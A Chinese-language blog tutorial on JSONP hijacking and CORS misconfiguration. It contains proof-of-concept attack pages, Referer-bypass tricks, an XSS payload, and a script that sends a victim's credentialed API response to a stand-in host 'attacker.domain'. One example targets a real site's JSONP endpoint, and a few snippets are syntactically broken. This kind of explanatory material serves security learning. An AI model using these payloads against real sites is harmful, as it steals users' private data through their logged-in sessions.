zoukankan      html  css  js  c++  java
  • 与跨域相关的 jsonp 劫持与 CORS 配置错误

    参考文章:
    CORS(跨域资源共享)错误配置漏洞的高级利用
    JSONP劫持CORS跨源资源共享漏洞
    JSONP绕过CSRF防护token
    读取型CSRF-需要交互的内容劫持
    跨域资源共享 CORS 详解
    cors安全完全指南
    GET请求-Referer限制绕过总结


    跨域

    什么是跨域:当一个请求url的协议、域名、端口三者之间任意一个与当前页面url不同即为跨域,跨域就是一个域名请求另外一个域名的资源
    例如www.a.com网站请求www.b.com/b.js javascript文件,这就是跨域。

    同源策略:同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。
    例如:
    一个恶意网站(lol.pp.com)通过 iframe 标签将(lol.qq.com)引入进页面,由于用户安全意识不高,输入账号密码之后就开始了豪华十连抽。此时若没有同源策略的限制,那么钓鱼网站便可以通过 dom 操作获取到用户的账号密码、cookie

    再比如,用户同时打开了一个恶意网站和一个受信任网站,此时若没有同源策略的限制,那个恶意网站上的脚本便可以操纵受信任网站,当用户在输入账号密码时,恶意网站便可以实现窃取

    为什么要跨域:某些时候,我们需要获取别的域上的资源,比如别的受信任域上的 js 文件,来控制本页面的一些操作

    跨域的方式有

    1. jsonp:
      在HTML标签里,一些标签比如 script、img、link,iframe 这样的获取资源的标签是没有跨域限制的
      jsonp 是服务器与客户端跨源通信的常用方法。
      于是可以通过添加一个 <script> 元素,向服务器请求 JSON 数据,服务器收到请求后,将数据放在一个指定名字的回调函数的参数位置传回来。
      另外 jsonp 只支持 get 请求,不支持 post 请求。发起请求时,带 cookie 发起请求。

    2. CORS,即跨源资源共享(Cross-Origin Resource Sharing)。它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。
      同源策略(Same OriginPolicy)要求不同源之间是无法通信的,而CORS则是放宽同源策略以通过浏览器实现网站之间通信的机制。
      CORS支持get和post请求,是 jsonp 的升级,可带 cookie 发起请求。

    3. 其他


    CSRF JSONP HiJacking

    <script> 是不受跨域的限制的,因此比 cors 利用起来简单一点
    json 和 jsonp 有什么区别:

    • json:{"name": "hacker" , "phone": "13888888888"} jsonp:callback({"name": "hacker" , "phone": "13888888888"});
    • json是一种数据格式,而jsonp是一种协议

    例如这样一个前端页面:

    <script>
    function test(data){
        alert("name:"+data.name+"city:"+data.city);
    }
    </script>
    <script src="http://trustedweb.com/info.php?callback=test"></script>
    

    当执行到第二个 script 标签时,此页面会向目标网站发起请求,而目标网页返回了这样一个东西:

    test({"name": "hacker" , "phone": "13888888888"});
    

    这代表了什么?简单来说就是返回了一串执行函数的代码,括号内的数据(一个json格式的数据)就是传入函数的形式参数,然后就会调用前一个 script 内定义的 test 函数,执行相应操作

    什么又是 jsonp 劫持呢? 用户访问了恶意网站,网站页面上存在恶意代码,模拟用户发起 jsonp 请求,并且将数据发送到黑客的服务器上。

    为什么会发生 jsonp 劫持?
    目标站点:

    1. Referer过滤不严谨;
      例如:
      当网站只检测 Referer 里是否只存在 trustedweb.com 这个字符串时
      攻击者可以构造特殊的域名来绕过: www.trustedweb.com.attacker.com 或者:attacker.com?trustedweb.com

    2. 空Referer(在通过跨协议调用JS时,发送的http请求里的Referer为空);
      例如:
      <iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'"></iframe>
      代码里我们使用 <iframe> 调用 javscript 伪协议来实现空 Referer 调用 JSON 文件
      我们也可以在 poc 代码里添加 <meta name="referrer" content="never"> ,也可以是 Referer 置空

    3. token无效可删除或者可重复利用;

    4.若目标网站上存在 XSS 漏洞,那么便可以轻松绕过 Referer 限制,甚至是 token 限制

    这里我们拿一个简单的例子来说明一下,百度搜索:inurl:?callback=
    随便在网上找一个返回 jsonp 数据的网页:
    假设这是一个敏感数据:https://jh.dianping.com/wedding/pro/jsonppage?resultType=DTO&tempkey=ShopBottomForM&params={%22cityId%22%3A885%2C%22shopType%22%3A55%2C%22slotId%22%3A21004%2C%22userId%22%3A%220%22%2C%22viewShopId%22%3A%22103060909%22}&callback=jsonp1
    简单测试没有token限制,也没有referer限制

    假设某恶意网站存在如下页面 evil.html,他想盗取你在目标网站上的敏感信息,而你是在登陆目标网站之后再访问的恶意网站,那么发起jsonp请求时就会带上你的cookie

    <html>
    <head>
    <title>JSONP HiJacking</title>
    <meta charset="utf-8">
    <script type="text/javascript">
    function evilfunc(data){
        alert(JSON.stringify(data));
        //这里可以写一些对json数据的处理,例如将其发送到黑客的服务器等
    }
    </script>
    </head>
    <body>
    <h1 style="text-align:center;"> SORRY YOUR JSONP HAS BEEN HIJACKED!<h1>
    <h1 style="text-align:center;">不知道有没有语法错误!</h1>
    <script type="text/javascript" src="https://jh.dianping.com/wedding/pro/jsonppage?resultType=DTO&tempkey=ShopBottomForM&params={%22cityId%22%3A885%2C%22shopType%22%3A55%2C%22slotId%22%3A21004%2C%22userId%22%3A%220%22%2C%22viewShopId%22%3A%22103060909%22}&callback=evilfunc"></script>
    </body>
    </html>
    

    当网页自身存在 XSS 漏洞的时候,有没有想到一些骚东西?对头,直接把这些代码写到存在 XSS 漏洞的页面,一旦其他用户访问该页面,那么也会导致 jsonp 劫持,完全不需要自己搭个网站骗人去点!
    当然,若是网站存在任意 url 跳转漏洞,也可以直接让目标网站跳转到恶意网站,从而触发劫持

    jsonp 劫持可能导致XSS:在jsonp数据返回包的响应头中,若 Content-Type 字段没有定义好,那么就会造成反射型 XSS 漏洞,例如http://trustedweb.com?callback=<svg/onload=alert(1)>
    要避免该漏洞,需要严格定义 Content-Type: application/json


    CORS 配置不当漏洞

    CORS 配置不当通常会导致的危害是用户敏感信息泄露
    当向A网站(trustedweb.com)某敏感页面发起如下请求时,带有 Origin 头,测试能否跨域访问

    GET /api/sys/login HTTP/1.1
    Host: trustedweb.com
    ********
    Origin: http://whatever.com
    
    1. 若服务器返回:
    Access-Control-Allow-Origin:http://whatever.com            //若服务器返回该响应头,则表示允许 http://whatever.com 跨域访问
    Access-Control-Allow-Credentials:true                      //若服务器返回该响应头,则表示允许 http://whatever.com 在跨域访问的时候带上 cookie
    

    当允许跨域的时候,便可以在B网站(http://whatever.com)上构造恶意页面,然后诱导用户点击即可完成敏感信息窃取

    POC:测试代码.html

    <script>
    function cors() {
     var req = new XMLHttpRequest();
     req.onreadystatechange = function() {
           if(req.readyState === 4) {
                 alert(this.responseText);
           }
     }
     req.open("GET","https://vulnerable.domain/api/private-data"+"参数",true);             
     req.withCredentials = true;                                                 //这里表示带上用户 cookie 发起请求
     req.send();
    }
    cors();
    </script>
    

    payload:利用代码.html

    <h1> You has been hacked! </h1>
    <script>
    var req = new XMLHttpRequest();
    req.onreadystatechange = function() {
            if(req.readyState === 4) {
            location="//attacker.domain/log?response="+this.responseText; 
    }
    req.open("get","https://vulnerable.domain/api/private-data"+'参数',true);       //填写敏感信息页面的地址,与要传输的参数
    req.withCredentials = true;                        
    req.send();
    </script>
    

    当必须要 POST 参数到目标网站时,可以使用 POST 方式
    在HTML代码中一定要有 req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;"); 用 POST 的时候一定要有这句,用 GET 的时候可以不用这句
    POC部分代码:

    <script>
           var data = "a=xxx;b=xxx;c=xxx;";
           var req = new XMLHttpRequest();
           req.onreadystatechange = function() {
                 if(xhr.readyState === 4) {
                 alert(this.responseText);                                              //if 条件框里面可以改成将获取到的敏感数据发送服务器上
           }
           req.open("POST","https://vulnerable.domain/api/private-data"+"参数",true);
           req.setRequestHeader("Content-Length",data.length);
           req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");  //用POST的时候一定要有这句
           req.withCredentials = true;
           req.send(data);
          
    </script>
    
    1. 若服务器返回空,则说明不允许任意网站跨域,那么便可以测试是否可以跨子域名
    GET /api/sys/login HTTP/1.1
    Host: trustedweb.com
    ********
    Origin: http://aaa.trustedweb.com
    

    若返回:

    Access-Control-Allow-Origin:http://aaa.trustedweb.com            
    Access-Control-Allow-Credentials:true                    
    

    则说明支持子域名跨域,那么便可以在子域名上寻找一个 XSS 漏洞,来打组合拳
    XSS POC:测试代码

    <script>
    function cors() 
    {  
          var req = new XMLHttpRequest();  
          req.onreadystatechange = function() 
          {    
              if(req.readyState === 4) {
                 alert(this.responseText);                                          //if 条件框里面可以改成将获取到的敏感数据发送服务器上
                                                                                   // 如:location=”//attacker.domain/log?response=”+this.responseText;
                }  
          };  
          req.open("GET", "https://vulnerable.domain/api/private-data", true);  
          req.withCredentials = true;  
          req.send();
    }
    cors();
    </script>
    

    CORS配置不当测试利用工具:CrossSiteContentHijacking


  • 相关阅读:
    【转】kafka&zookeeper集群搭建指南
    spark-streaming问题集锦
    Rokid开发者社区skill之【历史上的今天】
    jQuery+Ajax获取百度百科历史上的今天
    python+xpath+requests爬取维基百科历史上的今天
    jQuery请求维基百科[历史上的今天]
    Redis和Memcached比较
    [转]RosBridge小结
    [转]使用rosbridge协议实现安卓跟ros的解耦
    跨域访问之jsonp
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/12964581.html
Copyright © 2011-2022 走看看